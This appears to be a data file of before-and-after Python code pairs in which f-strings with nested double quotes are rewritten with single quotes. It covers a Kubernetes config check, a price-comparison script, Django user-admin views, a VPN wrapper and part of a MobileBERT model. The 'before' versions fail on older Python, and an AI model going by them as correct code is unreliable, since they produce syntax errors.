name = "Ensure that the --service-account-lookup argument is set to true"
categories = [CheckCategories.KUBERNETES]
supported_entities = ['containers']
super().__init__(name=name, id=id, categories=categories, supported_entities=supported_entities)
def get_resource_id(self, conf):
return f'{conf["parent"]} - {conf["name"]}'
def scan_spec_conf(self, conf):
if conf.get("command") is not None:
if "kube-apiserver" in conf["command"]:
if "--service-account-lookup=false" in conf["command"] or "--service-account-lookup=true" not in conf["command"]:
return CheckResult.FAILED
return CheckResult.PASSED
check = ApiServerServiceAccountLookup() |
# developed by novuh (github.com/n0vuh)
# AntiZon is intended for the purpose of getting a consumer a better price for a product.
# AntiZon is not intended to be used as financial advice.
# source code, p.s: ignore lazy code, it'll be fixed
import json
import os
from colorama import Back, Fore, Style
from src.utils.console import clear, title, tags
from src.amzn.item import AMZN
from src.gogl.find import SERP, process
def query_loop(amzn: AMZN, serp: SERP):
query = input(tags.default + "Amazon Product ASIN >> ")
print(tags.default + f"Searching Amazon for '{query}'...")
amazon_data = amzn.get_item(query)
try:
amzn_value = amazon_data.value
amzn_title = amazon_data.name
print(tags.okay + "Found a result!")
except AttributeError:
print(tags.error + str(amazon_data["message"]))
query_loop(amzn, serp)
print(tags.default + f"Searching Google for '{amzn_title}'...")
try:
r = process(serp.get(amzn_title))
print(tags.okay + f"Found {len(r["extracted"])} result(s)!")
except Exception as e:
print(tags.error + f"Error occured while searching Google: {e}")
query_loop(amzn, serp)
print(tags.default + "Processing retrieved data...")
cheaper = []
for res in r["extracted"]:
if res["price"] < amzn_value:
cheaper.append(
{
"price": res["price"],
"source": res["supplier"],
"link": res["link"]
}
)
print(tags.okay + f"Found {len(cheaper)} cheaper listings!")
print(tags.default + "Writing...")
with open("output.txt", "a") as fp:
for res in cheaper:
fp.write(f"${res["price"]} | {res["link"]} | {res["source"]}\n")
print(tags.okay + "Done! You can view the results inside output.txt.")
input(Fore.BLACK + Style.BRIGHT + "Press ENTER to quit.")
exit()
def main():
clear()
# title stuff
title("AntiZon by novuh")
length = os.get_terminal_size().columns
print(Style.BRIGHT + Fore.WHITE + Back.YELLOW + "AntiZon by github.com/n0vuh".center(length, " ") + Back.RESET + "\n")
# load config file
print(Back.RESET + tags.default + "Loading config file...")
cfg = json.load(open("src/resources/config.json", "r"))
# check to see if config has any data, if not, require user to give required data
dump = False
if cfg["serpkey"] == "":
print(tags.error + "You do not have a SerpAPI key! Get one @ serpapi.com")
serp_key = input(tags.default + "SerpAPI Key >> ")
dump = True
if cfg["amznkey"] == "":
print(tags.error + "You do not have a Rainforest key! Get one @ rainforestapi.com")
amzn_key = input(tags.default + "Rainforest Key >> ")
dump = True
if dump:
json.dump({"serpkey": serp_key, "amznkey": amzn_key}, open("src/resources/config.json", "w"))
main()
# setup api classes
amzn = AMZN(cfg["amznkey"])
serp = SERP(cfg["serpkey"])
# search loop
query_loop(amzn, serp)
if __name__ == "__main__":
main()
| # developed by novuh (github.com/n0vuh)
# AntiZon is intended for the purpose of getting a consumer a better price for a product.
# AntiZon is not intended to be used as financial advice.
# source code, p.s: ignore lazy code, it'll be fixed
import json
import os
from colorama import Back, Fore, Style
from src.utils.console import clear, title, tags
from src.amzn.item import AMZN
from src.gogl.find import SERP, process
def query_loop(amzn: AMZN, serp: SERP):
query = input(tags.default + "Amazon Product ASIN >> ")
print(tags.default + f"Searching Amazon for '{query}'...")
amazon_data = amzn.get_item(query)
try:
amzn_value = amazon_data.value
amzn_title = amazon_data.name
print(tags.okay + "Found a result!")
except AttributeError:
print(tags.error + str(amazon_data["message"]))
query_loop(amzn, serp)
print(tags.default + f"Searching Google for '{amzn_title}'...")
try:
r = process(serp.get(amzn_title))
print(tags.okay + f"Found {len(r['extracted'])} result(s)!")
except Exception as e:
print(tags.error + f"Error occured while searching Google: {e}")
query_loop(amzn, serp)
print(tags.default + "Processing retrieved data...")
cheaper = []
for res in r["extracted"]:
if res["price"] < amzn_value:
cheaper.append(
{
"price": res["price"],
"source": res["supplier"],
"link": res["link"]
}
)
print(tags.okay + f"Found {len(cheaper)} cheaper listings!")
print(tags.default + "Writing...")
with open("output.txt", "a") as fp:
for res in cheaper:
fp.write(f"${res['price']} | {res['link']} | {res['source']}\n")
print(tags.okay + "Done! You can view the results inside output.txt.")
input(Fore.BLACK + Style.BRIGHT + "Press ENTER to quit.")
exit()
def main():
clear()
# title stuff
title("AntiZon by novuh")
length = os.get_terminal_size().columns
print(Style.BRIGHT + Fore.WHITE + Back.YELLOW + "AntiZon by github.com/n0vuh".center(length, " ") + Back.RESET + "\n")
# load config file
print(Back.RESET + tags.default + "Loading config file...")
cfg = json.load(open("src/resources/config.json", "r"))
# check to see if config has any data, if not, require user to give required data
dump = False
if cfg["serpkey"] == "":
print(tags.error + "You do not have a SerpAPI key! Get one @ serpapi.com")
serp_key = input(tags.default + "SerpAPI Key >> ")
dump = True
if cfg["amznkey"] == "":
print(tags.error + "You do not have a Rainforest key! Get one @ rainforestapi.com")
amzn_key = input(tags.default + "Rainforest Key >> ")
dump = True
if dump:
json.dump({"serpkey": serp_key, "amznkey": amzn_key}, open("src/resources/config.json", "w"))
main()
# setup api classes
amzn = AMZN(cfg["amznkey"])
serp = SERP(cfg["serpkey"])
# search loop
query_loop(amzn, serp)
if __name__ == "__main__":
main()
|
import os
import re
import xlsxwriter
from django.db import transaction, IntegrityError
from django.db.models import Q
from django.http import HttpResponse
from django.contrib.auth.hashers import make_password
from submission.models import Submission
from utils.api import APIView, validate_serializer
from utils.shortcuts import rand_str
from ..decorators import super_admin_required
from ..models import AdminType, ProblemPermission, User, UserProfile
from ..serializers import EditUserSerializer, UserAdminSerializer, GenerateUserSerializer
from ..serializers import ImportUserSeralizer
class UserAdminAPI(APIView):
@validate_serializer(ImportUserSeralizer)
@super_admin_required
def post(self, request):
"""
Import User
"""
data = request.data["users"]
user_list = []
for user_data in data:
if len(user_data) != 3 or len(user_data[0]) > 32:
return self.error(f"Error occurred while processing data '{user_data}'")
user_list.append(User(username=user_data[0], password=make_password(user_data[1]), email=user_data[2]))
try:
with transaction.atomic():
ret = User.objects.bulk_create(user_list)
UserProfile.objects.bulk_create([UserProfile(user=user) for user in ret])
return self.success()
except IntegrityError as e:
# Extract detail from exception message
# duplicate key value violates unique constraint "user_username_key"
# DETAIL: Key (username)=(root11) already exists.
return self.error(str(e).split("\n")[1])
@validate_serializer(EditUserSerializer)
@super_admin_required
def put(self, request):
"""
Edit user api
"""
data = request.data
try:
user = User.objects.get(id=data["id"])
except User.DoesNotExist:
return self.error("User does not exist")
if User.objects.filter(username=data["username"].lower()).exclude(id=user.id).exists():
return self.error("Username already exists")
if User.objects.filter(email=data["email"].lower()).exclude(id=user.id).exists():
return self.error("Email already exists")
pre_username = user.username
user.username = data["username"].lower()
user.email = data["email"].lower()
user.admin_type = data["admin_type"]
user.is_disabled = data["is_disabled"]
if data["admin_type"] == AdminType.ADMIN:
user.problem_permission = data["problem_permission"]
elif data["admin_type"] == AdminType.SUPER_ADMIN:
user.problem_permission = ProblemPermission.ALL
else:
user.problem_permission = ProblemPermission.NONE
if data["password"]:
user.set_password(data["password"])
if data["open_api"]:
# Avoid reset user appkey after saving changes
if not user.open_api:
user.open_api_appkey = rand_str()
else:
user.open_api_appkey = None
user.open_api = data["open_api"]
if data["two_factor_auth"]:
# Avoid reset user tfa_token after saving changes
if not user.two_factor_auth:
user.tfa_token = rand_str()
else:
user.tfa_token = None
user.two_factor_auth = data["two_factor_auth"]
user.save()
if pre_username != user.username:
Submission.objects.filter(username=pre_username).update(username=user.username)
UserProfile.objects.filter(user=user).update(real_name=data["real_name"])
return self.success(UserAdminSerializer(user).data)
@super_admin_required
def get(self, request):
"""
User list api / Get user by id
"""
user_id = request.GET.get("id")
if user_id:
try:
user = User.objects.get(id=user_id)
except User.DoesNotExist:
return self.error("User does not exist")
return self.success(UserAdminSerializer(user).data)
user = User.objects.all().order_by("-create_time")
keyword = request.GET.get("keyword", None)
if keyword:
user = user.filter(Q(username__icontains=keyword) |
Q(userprofile__real_name__icontains=keyword) |
Q(email__icontains=keyword))
return self.success(self.paginate_data(request, user, UserAdminSerializer))
@super_admin_required
def delete(self, request):
id = request.GET.get("id")
if not id:
return self.error("Invalid Parameter, id is required")
ids = id.split(",")
if str(request.user.id) in ids:
return self.error("Current user can not be deleted")
User.objects.filter(id__in=ids).delete()
return self.success()
class GenerateUserAPI(APIView):
@super_admin_required
def get(self, request):
"""
download users excel
"""
file_id = request.GET.get("file_id")
if not file_id:
return self.error("Invalid Parameter, file_id is required")
if not re.match(r"^[a-zA-Z0-9]+$", file_id):
return self.error("Illegal file_id")
file_path = f"/tmp/{file_id}.xlsx"
if not os.path.isfile(file_path):
return self.error("File does not exist")
with open(file_path, "rb") as f:
raw_data = f.read()
os.remove(file_path)
response = HttpResponse(raw_data)
response["Content-Disposition"] = f"attachment; filename=users.xlsx"
response["Content-Type"] = "application/xlsx"
return response
@validate_serializer(GenerateUserSerializer)
@super_admin_required
def post(self, request):
"""
Generate User
"""
data = request.data
number_max_length = max(len(str(data["number_from"])), len(str(data["number_to"])))
if number_max_length + len(data["prefix"]) + len(data["suffix"]) > 32:
return self.error("Username should not more than 32 characters")
if data["number_from"] > data["number_to"]:
return self.error("Start number must be lower than end number")
file_id = rand_str(8)
filename = f"/tmp/{file_id}.xlsx"
workbook = xlsxwriter.Workbook(filename)
worksheet = workbook.add_worksheet()
worksheet.set_column("A:B", 20)
worksheet.write("A1", "Username")
worksheet.write("B1", "Password")
i = 1
user_list = []
for number in range(data["number_from"], data["number_to"] + 1):
raw_password = rand_str(data["password_length"])
user = User(username=f"{data["prefix"]}{number}{data["suffix"]}", password=make_password(raw_password))
user.raw_password = raw_password
user_list.append(user)
try:
with transaction.atomic():
ret = User.objects.bulk_create(user_list)
UserProfile.objects.bulk_create([UserProfile(user=user) for user in ret])
for item in user_list:
worksheet.write_string(i, 0, item.username)
worksheet.write_string(i, 1, item.raw_password)
i += 1
workbook.close()
return self.success({"file_id": file_id})
except IntegrityError as e:
# Extract detail from exception message
# duplicate key value violates unique constraint "user_username_key"
# DETAIL: Key (username)=(root11) already exists.
return self.error(str(e).split("\n")[1])
| import os
import re
import xlsxwriter
from django.db import transaction, IntegrityError
from django.db.models import Q
from django.http import HttpResponse
from django.contrib.auth.hashers import make_password
from submission.models import Submission
from utils.api import APIView, validate_serializer
from utils.shortcuts import rand_str
from ..decorators import super_admin_required
from ..models import AdminType, ProblemPermission, User, UserProfile
from ..serializers import EditUserSerializer, UserAdminSerializer, GenerateUserSerializer
from ..serializers import ImportUserSeralizer
class UserAdminAPI(APIView):
@validate_serializer(ImportUserSeralizer)
@super_admin_required
def post(self, request):
"""
Import User
"""
data = request.data["users"]
user_list = []
for user_data in data:
if len(user_data) != 3 or len(user_data[0]) > 32:
return self.error(f"Error occurred while processing data '{user_data}'")
user_list.append(User(username=user_data[0], password=make_password(user_data[1]), email=user_data[2]))
try:
with transaction.atomic():
ret = User.objects.bulk_create(user_list)
UserProfile.objects.bulk_create([UserProfile(user=user) for user in ret])
return self.success()
except IntegrityError as e:
# Extract detail from exception message
# duplicate key value violates unique constraint "user_username_key"
# DETAIL: Key (username)=(root11) already exists.
return self.error(str(e).split("\n")[1])
@validate_serializer(EditUserSerializer)
@super_admin_required
def put(self, request):
"""
Edit user api
"""
data = request.data
try:
user = User.objects.get(id=data["id"])
except User.DoesNotExist:
return self.error("User does not exist")
if User.objects.filter(username=data["username"].lower()).exclude(id=user.id).exists():
return self.error("Username already exists")
if User.objects.filter(email=data["email"].lower()).exclude(id=user.id).exists():
return self.error("Email already exists")
pre_username = user.username
user.username = data["username"].lower()
user.email = data["email"].lower()
user.admin_type = data["admin_type"]
user.is_disabled = data["is_disabled"]
if data["admin_type"] == AdminType.ADMIN:
user.problem_permission = data["problem_permission"]
elif data["admin_type"] == AdminType.SUPER_ADMIN:
user.problem_permission = ProblemPermission.ALL
else:
user.problem_permission = ProblemPermission.NONE
if data["password"]:
user.set_password(data["password"])
if data["open_api"]:
# Avoid reset user appkey after saving changes
if not user.open_api:
user.open_api_appkey = rand_str()
else:
user.open_api_appkey = None
user.open_api = data["open_api"]
if data["two_factor_auth"]:
# Avoid reset user tfa_token after saving changes
if not user.two_factor_auth:
user.tfa_token = rand_str()
else:
user.tfa_token = None
user.two_factor_auth = data["two_factor_auth"]
user.save()
if pre_username != user.username:
Submission.objects.filter(username=pre_username).update(username=user.username)
UserProfile.objects.filter(user=user).update(real_name=data["real_name"])
return self.success(UserAdminSerializer(user).data)
@super_admin_required
def get(self, request):
"""
User list api / Get user by id
"""
user_id = request.GET.get("id")
if user_id:
try:
user = User.objects.get(id=user_id)
except User.DoesNotExist:
return self.error("User does not exist")
return self.success(UserAdminSerializer(user).data)
user = User.objects.all().order_by("-create_time")
keyword = request.GET.get("keyword", None)
if keyword:
user = user.filter(Q(username__icontains=keyword) |
Q(userprofile__real_name__icontains=keyword) |
Q(email__icontains=keyword))
return self.success(self.paginate_data(request, user, UserAdminSerializer))
@super_admin_required
def delete(self, request):
id = request.GET.get("id")
if not id:
return self.error("Invalid Parameter, id is required")
ids = id.split(",")
if str(request.user.id) in ids:
return self.error("Current user can not be deleted")
User.objects.filter(id__in=ids).delete()
return self.success()
class GenerateUserAPI(APIView):
@super_admin_required
def get(self, request):
"""
download users excel
"""
file_id = request.GET.get("file_id")
if not file_id:
return self.error("Invalid Parameter, file_id is required")
if not re.match(r"^[a-zA-Z0-9]+$", file_id):
return self.error("Illegal file_id")
file_path = f"/tmp/{file_id}.xlsx"
if not os.path.isfile(file_path):
return self.error("File does not exist")
with open(file_path, "rb") as f:
raw_data = f.read()
os.remove(file_path)
response = HttpResponse(raw_data)
response["Content-Disposition"] = f"attachment; filename=users.xlsx"
response["Content-Type"] = "application/xlsx"
return response
@validate_serializer(GenerateUserSerializer)
@super_admin_required
def post(self, request):
"""
Generate User
"""
data = request.data
number_max_length = max(len(str(data["number_from"])), len(str(data["number_to"])))
if number_max_length + len(data["prefix"]) + len(data["suffix"]) > 32:
return self.error("Username should not more than 32 characters")
if data["number_from"] > data["number_to"]:
return self.error("Start number must be lower than end number")
file_id = rand_str(8)
filename = f"/tmp/{file_id}.xlsx"
workbook = xlsxwriter.Workbook(filename)
worksheet = workbook.add_worksheet()
worksheet.set_column("A:B", 20)
worksheet.write("A1", "Username")
worksheet.write("B1", "Password")
i = 1
user_list = []
for number in range(data["number_from"], data["number_to"] + 1):
raw_password = rand_str(data["password_length"])
user = User(username=f"{data['prefix']}{number}{data['suffix']}", password=make_password(raw_password))
user.raw_password = raw_password
user_list.append(user)
try:
with transaction.atomic():
ret = User.objects.bulk_create(user_list)
UserProfile.objects.bulk_create([UserProfile(user=user) for user in ret])
for item in user_list:
worksheet.write_string(i, 0, item.username)
worksheet.write_string(i, 1, item.raw_password)
i += 1
workbook.close()
return self.success({"file_id": file_id})
except IntegrityError as e:
# Extract detail from exception message
# duplicate key value violates unique constraint "user_username_key"
# DETAIL: Key (username)=(root11) already exists.
return self.error(str(e).split("\n")[1])
|
import os
import re
import typing
import logging
import subprocess
from shlex import quote
from ghostricon.commands import server_types
from ghostricon.config import reload_config
class Vpn:
logger = logging.getLogger("VPNTOOL")
reg = re.compile(r"^\|\s*\d+\s*\|\s*(.*?)\s*\|\s*(.*?)\s*\|$")
def __init__(self, user: str):
self.user = user
self.load_config()
self.connected()
def load_config(self):
self.config = reload_config(self.user)["Global"]
def _run(self, args: typing.List[str]) -> str:
self.logger.debug("running as " +
f"{subprocess.check_output(["/usr/bin/whoami"])}")
self.logger.debug(f"substitute as {self.user}")
env = os.environ
env["USER"] = self.user
cmd = ["/usr/bin/cyberghostvpn"]
cmd += args
# cmd = [quote(x) for x in cmd]
self.logger.debug(f"COMMAND: {cmd}")
try:
ret = subprocess.check_output(cmd, env=env).decode("utf-8").rstrip()
self.logger.debug(f"RET: {ret}")
return ret
except subprocess.CalledProcessError:
self.logger.exception("Command Failed!")
def list(self, kind: str = None, *args) -> typing.List[str]:
fargs = ["--country-code"]
kind = kind.lower() if kind else None
if kind and kind in server_types:
fargs.insert(0, server_types[kind])
fargs += args
ret = self._run(fargs)
servers = []
for line in ret.splitlines():
match = self.reg.match(line)
if match:
servers.append((match.group(1), match.group(2)))
return servers
def status(self) -> bool:
ret = self._run(["--status"])
return ret != "No VPN connections found."
def disconnect(self):
if not self.connected():
return False
self._run(["--stop"])
return self.connected()
def connect(self,
kind: str = None,
country: str = None,
platform: str = None,
force: bool = False) -> bool:
def _select_from_default(kind_, country_=None):
servers = self.list(kind_)
default_country_name = country_ or self.config.get("default_country")
for name, code in servers:
if name == default_country_name:
return code
if self.connected():
if force:
self.disconnect()
else:
return True
self.load_config()
default_server_type = self.config.get("default_type").lower()
args = ["--connect"]
if not kind or kind not in server_types:
kind = default_server_type
if kind not in server_types:
kind = "traffic"
args.append(server_types[kind])
if kind == "streaming":
if not platform and default_server_type == kind:
platform = self.config.get("default_country")
args.append(platform)
if not country:
country = _select_from_default(kind, platform)
elif not country:
country = _select_from_default(kind)
if country:
args += ["--country-code", country]
self._run(args)
return self.connected()
def connected(self) -> bool:
self._connected = self.status()
self.logger.debug(f"CONNECTED: {self._connected}")
return self._connected
def changed(self) -> bool:
if self.status() != self._connected:
self._connected = not self._connected
return True
return False
| import os
import re
import typing
import logging
import subprocess
from shlex import quote
from ghostricon.commands import server_types
from ghostricon.config import reload_config
class Vpn:
logger = logging.getLogger("VPNTOOL")
reg = re.compile(r"^\|\s*\d+\s*\|\s*(.*?)\s*\|\s*(.*?)\s*\|$")
def __init__(self, user: str):
self.user = user
self.load_config()
self.connected()
def load_config(self):
self.config = reload_config(self.user)["Global"]
def _run(self, args: typing.List[str]) -> str:
self.logger.debug("running as " +
f"{subprocess.check_output(['/usr/bin/whoami'])}")
self.logger.debug(f"substitute as {self.user}")
env = os.environ
env["USER"] = self.user
cmd = ["/usr/bin/cyberghostvpn"]
cmd += args
# cmd = [quote(x) for x in cmd]
self.logger.debug(f"COMMAND: {cmd}")
try:
ret = subprocess.check_output(cmd, env=env).decode("utf-8").rstrip()
self.logger.debug(f"RET: {ret}")
return ret
except subprocess.CalledProcessError:
self.logger.exception("Command Failed!")
def list(self, kind: str = None, *args) -> typing.List[str]:
fargs = ["--country-code"]
kind = kind.lower() if kind else None
if kind and kind in server_types:
fargs.insert(0, server_types[kind])
fargs += args
ret = self._run(fargs)
servers = []
for line in ret.splitlines():
match = self.reg.match(line)
if match:
servers.append((match.group(1), match.group(2)))
return servers
def status(self) -> bool:
ret = self._run(["--status"])
return ret != "No VPN connections found."
def disconnect(self):
if not self.connected():
return False
self._run(["--stop"])
return self.connected()
def connect(self,
kind: str = None,
country: str = None,
platform: str = None,
force: bool = False) -> bool:
def _select_from_default(kind_, country_=None):
servers = self.list(kind_)
default_country_name = country_ or self.config.get("default_country")
for name, code in servers:
if name == default_country_name:
return code
if self.connected():
if force:
self.disconnect()
else:
return True
self.load_config()
default_server_type = self.config.get("default_type").lower()
args = ["--connect"]
if not kind or kind not in server_types:
kind = default_server_type
if kind not in server_types:
kind = "traffic"
args.append(server_types[kind])
if kind == "streaming":
if not platform and default_server_type == kind:
platform = self.config.get("default_country")
args.append(platform)
if not country:
country = _select_from_default(kind, platform)
elif not country:
country = _select_from_default(kind)
if country:
args += ["--country-code", country]
self._run(args)
return self.connected()
def connected(self) -> bool:
self._connected = self.status()
self.logger.debug(f"CONNECTED: {self._connected}")
return self._connected
def changed(self) -> bool:
if self.status() != self._connected:
self._connected = not self._connected
return True
return False
|
# MIT License
#
# Copyright (c) 2020 The Google AI Language Team Authors, The HuggingFace Inc. team and github/lonePatient
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import math
import os
import warnings
from dataclasses import dataclass
from typing import Optional, Tuple
import torch
from torch import nn
from torch.nn import BCEWithLogitsLoss, CrossEntropyLoss, MSELoss
from ...activations import ACT2FN
from ...file_utils import (
ModelOutput,
add_code_sample_docstrings,
add_start_docstrings,
add_start_docstrings_to_model_forward,
replace_return_docstrings,
)
from ...modeling_outputs import (
BaseModelOutput,
BaseModelOutputWithPooling,
MaskedLMOutput,
MultipleChoiceModelOutput,
NextSentencePredictorOutput,
QuestionAnsweringModelOutput,
SequenceClassifierOutput,
TokenClassifierOutput,
)
from ...modeling_utils import PreTrainedModel, find_pruneable_heads_and_indices, prune_linear_layer
from ...utils import logging
from .configuration_mobilebert import MobileBertConfig
logger = logging.get_logger(__name__)
_CHECKPOINT_FOR_DOC = "google/mobilebert-uncased"
_CONFIG_FOR_DOC = "MobileBertConfig"
_TOKENIZER_FOR_DOC = "MobileBertTokenizer"
MOBILEBERT_PRETRAINED_MODEL_ARCHIVE_LIST = ["google/mobilebert-uncased"]
def load_tf_weights_in_mobilebert(model, config, tf_checkpoint_path):
"""Load tf checkpoints in a pytorch model."""
try:
import re
import numpy as np
import tensorflow as tf
except ImportError:
logger.error(
"Loading a TensorFlow model in PyTorch, requires TensorFlow to be installed. Please see "
"https://www.tensorflow.org/install/ for installation instructions."
)
raise
tf_path = os.path.abspath(tf_checkpoint_path)
logger.info(f"Converting TensorFlow checkpoint from {tf_path}")
# Load weights from TF model
init_vars = tf.train.list_variables(tf_path)
names = []
arrays = []
for name, shape in init_vars:
logger.info(f"Loading TF weight {name} with shape {shape}")
array = tf.train.load_variable(tf_path, name)
names.append(name)
arrays.append(array)
for name, array in zip(names, arrays):
name = name.replace("ffn_layer", "ffn")
name = name.replace("FakeLayerNorm", "LayerNorm")
name = name.replace("extra_output_weights", "dense/kernel")
name = name.replace("bert", "mobilebert")
name = name.split("/")
# adam_v and adam_m are variables used in AdamWeightDecayOptimizer to calculated m and v
# which are not required for using pretrained model
if any(
n in ["adam_v", "adam_m", "AdamWeightDecayOptimizer", "AdamWeightDecayOptimizer_1", "global_step"]
for n in name
):
logger.info(f"Skipping {"/".join(name)}")
continue
pointer = model
for m_name in name:
if re.fullmatch(r"[A-Za-z]+_\d+", m_name):
scope_names = re.split(r"_(\d+)", m_name)
else:
scope_names = [m_name]
if scope_names[0] == "kernel" or scope_names[0] == "gamma":
pointer = getattr(pointer, "weight")
elif scope_names[0] == "output_bias" or scope_names[0] == "beta":
pointer = getattr(pointer, "bias")
elif scope_names[0] == "output_weights":
pointer = getattr(pointer, "weight")
elif scope_names[0] == "squad":
pointer = getattr(pointer, "classifier")
else:
try:
pointer = getattr(pointer, scope_names[0])
except AttributeError:
logger.info(f"Skipping {"/".join(name)}")
continue
if len(scope_names) >= 2:
num = int(scope_names[1])
pointer = pointer[num]
if m_name[-11:] == "_embeddings":
pointer = getattr(pointer, "weight")
elif m_name == "kernel":
array = np.transpose(array)
try:
assert (
pointer.shape == array.shape
), f"Pointer shape {pointer.shape} and array shape {array.shape} mismatched"
except AssertionError as e:
e.args += (pointer.shape, array.shape)
raise
logger.info(f"Initialize PyTorch weight {name}")
pointer.data = torch.from_numpy(array)
return model
class NoNorm(nn.Module):
def __init__(self, feat_size, eps=None):
super().__init__()
self.bias = nn.Parameter(torch.zeros(feat_size))
self.weight = nn.Parameter(torch.ones(feat_size))
def forward(self, input_tensor):
return input_tensor * self.weight + self.bias
NORM2FN = {"layer_norm": nn.LayerNorm, "no_norm": NoNorm}
class MobileBertEmbeddings(nn.Module):
"""Construct the embeddings from word, position and token_type embeddings."""
def __init__(self, config):
super().__init__()
self.trigram_input = config.trigram_input
self.embedding_size = config.embedding_size
self.hidden_size = config.hidden_size
self.word_embeddings = nn.Embedding(config.vocab_size, config.embedding_size, padding_idx=config.pad_token_id)
self.position_embeddings = nn.Embedding(config.max_position_embeddings, config.hidden_size)
self.token_type_embeddings = nn.Embedding(config.type_vocab_size, config.hidden_size)
embed_dim_multiplier = 3 if self.trigram_input else 1
embedded_input_size = self.embedding_size * embed_dim_multiplier
self.embedding_transformation = nn.Linear(embedded_input_size, config.hidden_size)
self.LayerNorm = NORM2FN[config.normalization_type](config.hidden_size)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
# position_ids (1, len position emb) is contiguous in memory and exported when serialized
self.register_buffer("position_ids", torch.arange(config.max_position_embeddings).expand((1, -1)))
def forward(self, input_ids=None, token_type_ids=None, position_ids=None, inputs_embeds=None):
if input_ids is not None:
input_shape = input_ids.size()
else:
input_shape = inputs_embeds.size()[:-1]
seq_length = input_shape[1]
if position_ids is None:
position_ids = self.position_ids[:, :seq_length]
if token_type_ids is None:
token_type_ids = torch.zeros(input_shape, dtype=torch.long, device=self.position_ids.device)
if inputs_embeds is None:
inputs_embeds = self.word_embeddings(input_ids)
if self.trigram_input:
# From the paper MobileBERT: a Compact Task-Agnostic BERT for Resource-Limited
# Devices (https://arxiv.org/abs/2004.02984)
#
# The embedding table in BERT models accounts for a substantial proportion of model size. To compress
# the embedding layer, we reduce the embedding dimension to 128 in MobileBERT.
# Then, we apply a 1D convolution with kernel size 3 on the raw token embedding to produce a 512
# dimensional output.
inputs_embeds = torch.cat(
[
nn.functional.pad(inputs_embeds[:, 1:], [0, 0, 0, 1, 0, 0], value=0),
inputs_embeds,
nn.functional.pad(inputs_embeds[:, :-1], [0, 0, 1, 0, 0, 0], value=0),
],
dim=2,
)
if self.trigram_input or self.embedding_size != self.hidden_size:
inputs_embeds = self.embedding_transformation(inputs_embeds)
# Add positional embeddings and token type embeddings, then layer
# normalize and perform dropout.
position_embeddings = self.position_embeddings(position_ids)
token_type_embeddings = self.token_type_embeddings(token_type_ids)
embeddings = inputs_embeds + position_embeddings + token_type_embeddings
embeddings = self.LayerNorm(embeddings)
embeddings = self.dropout(embeddings)
return embeddings
class MobileBertSelfAttention(nn.Module):
def __init__(self, config):
super().__init__()
self.num_attention_heads = config.num_attention_heads
self.attention_head_size = int(config.true_hidden_size / config.num_attention_heads)
self.all_head_size = self.num_attention_heads * self.attention_head_size
self.query = nn.Linear(config.true_hidden_size, self.all_head_size)
self.key = nn.Linear(config.true_hidden_size, self.all_head_size)
self.value = nn.Linear(
config.true_hidden_size if config.use_bottleneck_attention else config.hidden_size, self.all_head_size
)
self.dropout = nn.Dropout(config.attention_probs_dropout_prob)
def transpose_for_scores(self, x):
new_x_shape = x.size()[:-1] + (self.num_attention_heads, self.attention_head_size)
x = x.view(*new_x_shape)
return x.permute(0, 2, 1, 3)
def forward(
self,
query_tensor,
key_tensor,
value_tensor,
attention_mask=None,
head_mask=None,
output_attentions=None,
):
mixed_query_layer = self.query(query_tensor)
mixed_key_layer = self.key(key_tensor)
mixed_value_layer = self.value(value_tensor)
query_layer = self.transpose_for_scores(mixed_query_layer)
key_layer = self.transpose_for_scores(mixed_key_layer)
value_layer = self.transpose_for_scores(mixed_value_layer)
# Take the dot product between "query" and "key" to get the raw attention scores.
attention_scores = torch.matmul(query_layer, key_layer.transpose(-1, -2))
attention_scores = attention_scores / math.sqrt(self.attention_head_size)
if attention_mask is not None:
# Apply the attention mask is (precomputed for all layers in BertModel forward() function)
attention_scores = attention_scores + attention_mask
# Normalize the attention scores to probabilities.
attention_probs = nn.functional.softmax(attention_scores, dim=-1)
# This is actually dropping out entire tokens to attend to, which might
# seem a bit unusual, but is taken from the original Transformer paper.
attention_probs = self.dropout(attention_probs)
# Mask heads if we want to
if head_mask is not None:
attention_probs = attention_probs * head_mask
context_layer = torch.matmul(attention_probs, value_layer)
context_layer = context_layer.permute(0, 2, 1, 3).contiguous()
new_context_layer_shape = context_layer.size()[:-2] + (self.all_head_size,)
context_layer = context_layer.view(*new_context_layer_shape)
outputs = (context_layer, attention_probs) if output_attentions else (context_layer,)
return outputs
class MobileBertSelfOutput(nn.Module):
def __init__(self, config):
super().__init__()
self.use_bottleneck = config.use_bottleneck
self.dense = nn.Linear(config.true_hidden_size, config.true_hidden_size)
self.LayerNorm = NORM2FN[config.normalization_type](config.true_hidden_size, eps=config.layer_norm_eps)
if not self.use_bottleneck:
self.dropout = nn.Dropout(config.hidden_dropout_prob)
def forward(self, hidden_states, residual_tensor):
layer_outputs = self.dense(hidden_states)
if not self.use_bottleneck:
layer_outputs = self.dropout(layer_outputs)
layer_outputs = self.LayerNorm(layer_outputs + residual_tensor)
return layer_outputs
class MobileBertAttention(nn.Module):
def __init__(self, config):
super().__init__()
self.self = MobileBertSelfAttention(config)
self.output = MobileBertSelfOutput(config)
self.pruned_heads = set()
def prune_heads(self, heads):
if len(heads) == 0:
return
heads, index = find_pruneable_heads_and_indices(
heads, self.self.num_attention_heads, self.self.attention_head_size, self.pruned_heads
)
# Prune linear layers
self.self.query = prune_linear_layer(self.self.query, index)
self.self.key = prune_linear_layer(self.self.key, index)
self.self.value = prune_linear_layer(self.self.value, index)
self.output.dense = prune_linear_layer(self.output.dense, index, dim=1)
# Update hyper params and store pruned heads
self.self.num_attention_heads = self.self.num_attention_heads - len(heads)
